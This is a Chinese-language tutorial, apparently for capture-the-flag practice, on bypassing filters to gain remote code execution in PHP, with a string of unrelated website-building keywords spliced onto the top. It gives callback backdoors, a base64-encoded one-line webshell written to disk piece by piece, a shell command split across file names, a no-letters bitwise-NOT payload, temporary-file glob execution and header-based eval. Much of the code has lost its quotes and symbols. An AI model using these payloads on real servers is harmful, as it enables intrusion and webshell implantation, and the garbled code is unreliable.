泉州住房城乡建设局网站,网站建设费用的账务处理,东莞市建设网站,泰和网站制作目录 1、RCE概述
#xff08;1#xff09;命令执行函数
#xff08;2#xff09;代码执行函数
2、回调后门
3、eval和assert
限制字符长度绕过
#xff08;1#xff09;反引号或exec
#xff08;2#xff09;file_put_contents写入文件
#xff08;3#xff…目录 1、RCE概述
1命令执行函数
2代码执行函数
2、回调后门
3、eval和assert
限制字符长度绕过
1反引号或exec
2file_put_contents写入文件
3回调后门变长参数
4拼接文件名
无字母数字绕过
1取反码
2临时文件
无参数读文件和RCE
1Apache
2Nginx 1、RCE概述
RCE漏洞远程代码执行和远程命令执行
在很多Web应用中开发人员会使用一些特殊函数这些函数以一些字符串作为输入功能是将输入的字符串当作代码或者命令来进行执行。当用户可以控制这些函数的输入时就产生了RCE漏洞。
1命令执行函数
system(), passthru() --可以直接输出结果
exec(), shell_exec() --需要echo打印结果
2代码执行函数
eval(), assert() --执行php代码 call_user_func(), call_user_func_array() --回调函数
2、回调后门
有回调函数作为参数的函数 --回调后门
call_user_func() , call_user_func_array() , array_filter() 等等
3、eval和assert
eval在php中是动态执行的方法不能通过$_GET和$_POST来动态传递进行执行
assert是php的函数可以动态传递进行执行
例如有回调后门如下
call_user_func(assert,$_REQUEST[pass]);
我们在用蚁剑进行连接的时候如果这样
?pass$_POST[123]
这样连接会失败要在前面加上eval 这样才能连接成功
限制字符长度绕过
?php
$param $_REQUEST[param];
if (strlen($param) 17 stripos($param, eval) false stripos($param, assert) false)
{eval($param);
}
1反引号或exec
?paramecho%20$_GET[1];1whoami?paramexec($_GET[1]);1whoami
2file_put_contents写入文件
将一句话木马进行base64编码后一个一个写入文件
为什么必须编码
因为像 这些特殊符号不能直接写入
?1file_put_contentsparam$_GET[1](N,P,8);
?1file_put_contentsparam$_GET[1](N,D,8);
...
/* PD9waHAgZXZhbCgkX1BPU1RbOV0pOw ✲写入文件N中 */?paraminclude$_GET[1];1php://filter/readconvert.base64-decode/resourceN
3回调后门变长参数
usort(...$_GET)
usort — 使用用户自定义的比较函数对数组中的值进行排序
用BurpSuit抓包修改post和get值 4拼接文件名
?php
$param $_REQUEST[param];
if ( strlen($param) 8 )
{echo shell_exec($param);
} echo PD9waHAgZXZhbCgkX0dFVFsxXSk7| base64 -d c.php
因为长度限制将上面一句命令拆分开通过常见文件的方式绕过 最后再用ls -t 以创建时间的列出当前文件夹下所有文件就拼接回去了
注意每一个文件名后面都要加上\,因为文件名都是以换行符结尾在ls -t列出文件的时候\起到转义换行符的作用
无字母数字绕过
?php
if(isset($_GET[code])){$code $_GET[code];if(strlen($code)35){die(Long.);}if(preg_match(/[A-Za-z0-9_$]/,$code)){die(NO.);}eval($code);
}else{highlight_file(__FILE__);
}
1取反码
php7中支持这样执行函数(phpinfo)();
payload
(~%8F%97%8F%96%91%99%90)();
将 phpinfo取反 ~phpinfo --urlcode编码 %8F%97%8F%96%91%99%90
payload再次取反就复原了成功绕过
2临时文件
php上传文件机制
第一步将本地的文件上传到服务器的临时目录 /tmp
第二步将上传的文件从临时目录移动到指定的目录中再删除临时文件
思路
(1)上传一个shell文件(虽然上传不成功但是代码没执行完毕临时文件不会删除)将要执行的代码写入文件
(2)再通过get传参传入命令执行临时文件
阻碍
1、 上传的临时文件没有x执行权限 -- . phpasgdfK (点加空格加文件名执行
2、 不知道临时文件名为随机生成的
临时文件名特征随机文件名为 phpxxxxxx ,但最后一个位大多是大写字母只有少数部分位小写字母和数字
大写字母ASCII范围是 -[
Linux glob 通配符? 匹配任意一个字符* 匹配任意多个字符
payload
?code??./???/????????[-[];? 无参数读文件和RCE
?php
highlight_file(__FILE__);
if(; preg_replace(/[^\W]\((?R)?\)/, , $_GET[code]))
{ eval($_GET[code]);
}
?
上面正则只能匹配函数不能有参数但是可以嵌套函数 -- a(b(c()))
1Apache
apache有getallheaders()函数获取所有header
codeeval(next(getallheaders()));user-agent:phpinfo();
用BurpSuit抓包修改header内容将要执行的命令写入头部
2Nginx
找到flag文件
1、print_r(scandir(.));
但是不能有 . 这个参数所以找到输出 . d 的函数
(1)print_r(scandir(current(localeconv()))); --pos是current的别名也可以(2)chr(46) 是字符 .chr(current(localtime(time())));
2、print_r(scandir(绝对路径))
print_r(scandir(getcwd()));
读flag文件
show_source(array_rand(array_flip(scandir(getcwd()))));
array_flip()是交换数组的键和值array_rand()是随机返回一个数组